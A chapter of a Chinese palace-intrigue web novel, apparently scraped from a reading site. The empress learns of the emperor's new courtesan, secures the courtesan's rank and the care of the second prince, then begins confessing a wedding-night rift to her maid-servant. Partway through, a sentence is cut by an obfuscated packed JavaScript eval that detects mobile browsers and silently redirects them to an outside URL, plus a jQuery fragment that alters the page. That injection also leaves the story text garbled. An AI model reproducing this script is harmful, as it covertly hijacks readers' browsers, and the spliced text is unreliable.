《给皇后当陪嫁嬷嬷》 18. 皇后坦白 初十这日,齐明柳领着妃嫔们向太后请安,便是连即将要生育的苏贵妃都来。 “庆嫔也来了?不是病得起不来吗?”太后诧异,她上上下下打量庆嫔,见她虽然病弱,可脸上却有精气神。 眼窝凹陷的庆嫔轻声回话,“太后,臣妾身子好些了,不敢耽误给太后请安。”她蹲下行礼,身子晃了晃。低头的瞬间,一股凶狠扫着前面某个人的衣裙。 “上前来哀家瞧瞧,天见可怜的,孩子还会有的,好好养身子。”太后拍了拍她的手,随后给几位高位妃子赐座,“苏贵妃快要生了,可以不用来康宁宫,等生了,带着皇孙来。” “是,臣妾听太后的话。”苏贵妃抚摸着肚皮,浑身都不太舒适,也不知怎的,她总觉得像是被阴冷的蛇盯上了。 “万岁节快到了,你们都备了什么节目?哀家可要大饱眼福了,瞧着你们这些鲜嫩的女儿,感觉自个都年轻了不少。”太后眼神挨个扫了扫,心想皇帝的后宫人还是少了点。 待请安散了,太后独独留下了齐明柳。安静的殿内,皇后服侍太后用甜汤,把太后伺候得很是舒服,“看这手法,你在家经常侍奉长辈?” “臣妾在祖母膝下长大,服侍惯了祖母,进了宫,见到了母后,自然该日日伺候您。” “你是个好孩子,哀家训了皇帝一顿,说他放着这么好的皇后不陪着,偏要那种上不得台面的教司坊歌姬。” “教司坊的歌姬?”齐明柳惊讶,哪里来的歌姬?她疑惑地问道:“什么时候的事,儿臣不知道。” 太后顿了一下,接着才说道:“昨晚上皇帝临幸了教司坊的歌姬,不过没有册封,就由着住在勤政殿。” 这事没想到皇后毫不知情,真是坏事了。 沈西枳看了齐明柳骤然抿紧的嘴唇,心想曾嬷嬷和林嬷嬷要倒霉了。 先前进宫,齐明柳就把与勤政殿宫女太监拉关系的事交给了两个嬷嬷,如今看来,成效不佳。 要真的有人卖个好,想必今日一早齐明柳起来就能听见这个新消息。 不过没道理啊,总不能她们两个还能把同一件事情办砸了,其中会不会有什么隐情? “母后,一切以陛下的心意为主。”齐明柳提着气说,她故作大方,“陛下想去哪儿,宠幸谁,也不是儿臣能左右的。母后也不用为了儿臣与陛下特意提这事,您心疼儿臣,可是儿臣不愿意让您为难。” 又来了,沈西枳无奈,齐明柳哪里都好,只是一涉及到争宠,宠爱这样的话题,脑子就被“规矩”“以皇帝为主”束缚住了。可见她受到的教育是什么样子的。 太严肃了,这不好,没见太后都无语了吗? “罢了,哀家管不到那么多。”太后嘴角抽了抽,她为了皇后的面子特意喊了皇帝来,结果皇后还不领情,倒是她多管闲事了。 儿孙自有儿孙福,由着他们两个闹去吧。 再有四日就是万岁节,齐明柳事情多,没过多久就走了。 “瞧瞧,闷葫芦一个,哀家都不喜欢,皇帝能喜欢?”太后最清楚皇帝的喜好,他只爱那等能讨他欢喜的,皇后过于沉闷,铁定不受宠。 不过不受宠也有不受宠的好处,起码皇后一日没有诞下亲儿,那就一日得对大皇子好。 凤仪宫,难得的,林嬷嬷和曾嬷嬷齐齐被叫去问责。 “你们两个负责的事,结果都没有做好。御前的人不肯卖本宫面子吗?”齐明柳恼恨,陛下宠幸了歌姬,这样的事她该有权力第一时间知晓,现在反倒好,还是从太后嘴里知道的。 曾嬷嬷喊冤,林嬷嬷解释道:“娘娘,这事是您去了康宁宫后才有人传给我们,偏那时迟了。至于缘由,那头说,是因为有个后妃朝着御前伸手,打听陛下心情,触怒了陛下,那个宫女被乱棍打死,这事一出,他们也怕呐。” “谁?”齐明柳问道,“哪个胆子那么大。” “容嫔。” 沈西枳轻声问道:“容嫔为何这么干?”容嫔身份不高,触怒帝王的后果她承受不起。 “那就不得而知了,只知道陛下不悦,听说那宫女从前是和她一同入宫的老乡,帮了她也是想积点人脉,谁曾想,竟得了这么一个下场。”林嬷嬷念叨了一句“阿弥陀佛”,“容嫔病成这样,还去探听勤政殿,真是……” “怕是想要陛下去看她。”曾嬷嬷猜测。 沈西枳和齐明柳相互对视一眼,她俩倒是隐约猜测到了是什么原因。 “娘娘,您正好有了理由去勤政殿,一则是那个歌姬的事,二则,容嫔有二皇子,若是她……二皇子归谁养。”沈西枳建议,“山不见我,我自去见山,娘娘主动些,旁人也说不出什么沾酸捏醋的话。” “会不会太张扬了?”齐明柳腰坐直了,又在下一刻靠上椅背,“那,那便备轿子。” “沈嬷嬷,你陪本宫去。” “是。” 勤政殿,刘斌林老远就从台阶上下来,行着礼迎接皇后,“娘娘,陛下现下正得空,请随奴才来。” 齐明柳进内,萧融承放下折子,疲惫地揉了揉眉心,“起来吧,赐座。” “皇后今日过来所为何事。”言语疏离,压根儿不像是夫妻,萧融承垂眼喝着茶水,便听得齐明柳说道:“陛下政务繁忙,臣妾自知帮不上什么,便熬了汤水来给陛下补一补。而且,正好顺便问陛下两件事。” “什么事?” “臣妾今早在母后那儿听说陛下看中了叫红菱的歌姬,人已经在勤政殿过夜了,臣妾想着既然有了接触,那就该给个位子。” 萧融承视线在齐明柳脸上扫视,半响,淡漠地陈述道:“朕原本不打算管她,既然你开口了,就让她做个答应吧,赐封号丽。” 那红菱还在侧殿住着,被带来听了圣旨,激动地不住磕头谢恩,“奴婢谢陛下恩典,谢陛下。” 旁边坐着的齐明柳,被她忽视了个彻底。 沈西枳摇摇头,这位丽答应有着一张芙蓉面,可脑子似乎不太好,方才刘斌林都委婉提了是皇后提议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040229|194351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她入后宫,结果她毫无表示。 “行了,下去吧。”萧融承也不是很满意丽答应的表现,看着她对皇后不敬,心里对她的兴趣减少了不少。 尽管他喜爱丽答应的开放,可她不聪慧。 “第二件事是什么?” “容嫔愈发不好了,臣妾看了太医院的记档,她如今醒着的时候一日比一日少,臣妾担心她和二皇子,特意问一问陛下的意思。”齐明柳叹息,“二皇子还小,总不能没有人照拂。” “良嫔和婉嫔都没有孩子,便从她们当中挑一个吧。”萧融承说。 大封六宫的圣旨已经下了,贺贵人晋封为良嫔,许贵人为婉嫔。 “便是良嫔吧。”齐明柳提议,良嫔与她更熟络一些,经常到凤仪宫陪她说话。 “嗯。” “苏贵妃那儿快生了,到时候皇后注意一点。”萧融承交代,苏贵妃身子弱,得好好照顾,不能有一丝错漏。 说起苏贵妃,帝王的语气里难得带了温情,看来苏贵妃在他心里的确是不一样的,只是不知为何,被立为继后的不是她。 论身份,她也使得。 “既来了,就陪朕用午膳吧。”萧融承已经猜出怕是太后和皇后说了什么,太后的面子不好不给。 “好。”齐明柳扯着笑,手都在颤抖,皇帝特意在她面前提苏贵妃,让她直面了皇帝对她的不重视。 难道对着她,便没有其他要说的了吗? ——便是沈西枳都觉得,萧融承和齐明柳之间太冷淡了。 用膳时食不言寝不语,而且相互不会夹菜,全都由布菜的宫女来做,这也就罢了,偏偏用膳后他们也没什么可聊。 齐明柳几次想要说话,可又狠不下心开口,一时僵在那儿。 从勤政殿回来,沈西枳忍不住问道:“娘娘,您与陛下是不是有吵闹?”不然皇帝怎么会这般不给面子,冷淡都写在面上,连个笑脸都不肯给。 “本宫……”齐明柳别扭,眼带委屈。 一路无言,回到凤仪宫,沈西枳屏退一众宫女,再次问了这个问题,“娘娘,您该给奴婢们说一说,不然只怕难以消除与陛下的间隙。” “如何好意思说。”齐明柳低头绞着手帕,不像中宫之主,倒还像是未出阁的姑娘,腼腆羞涩。 “是不是大婚那夜?”沈西枳猜测,其实齐明柳不知道,她和其他两个嬷嬷私底下讨论过这件事,毕竟帝后感情不睦,她们也受影响。 除了她,林嬷嬷和曾嬷嬷也曾明里暗里打听过,但是齐明柳一概不说。 “娘娘,奴婢知道不该逼您,但是咱们才刚入宫,难不成您不想和陛下缓和些关系?”沈西枳用诱惑的语气劝说,“要是解决了问题,说不定陛下会经常来看娘娘。” 齐明柳也是被折磨了许久,这回帝王冷淡彻底让她下定决心向身边的人求助,便犹犹豫豫说道:“是,是那天,陛下和我成事,他,他想着来第二回,我劝着了。” 沈西枳震惊,啊?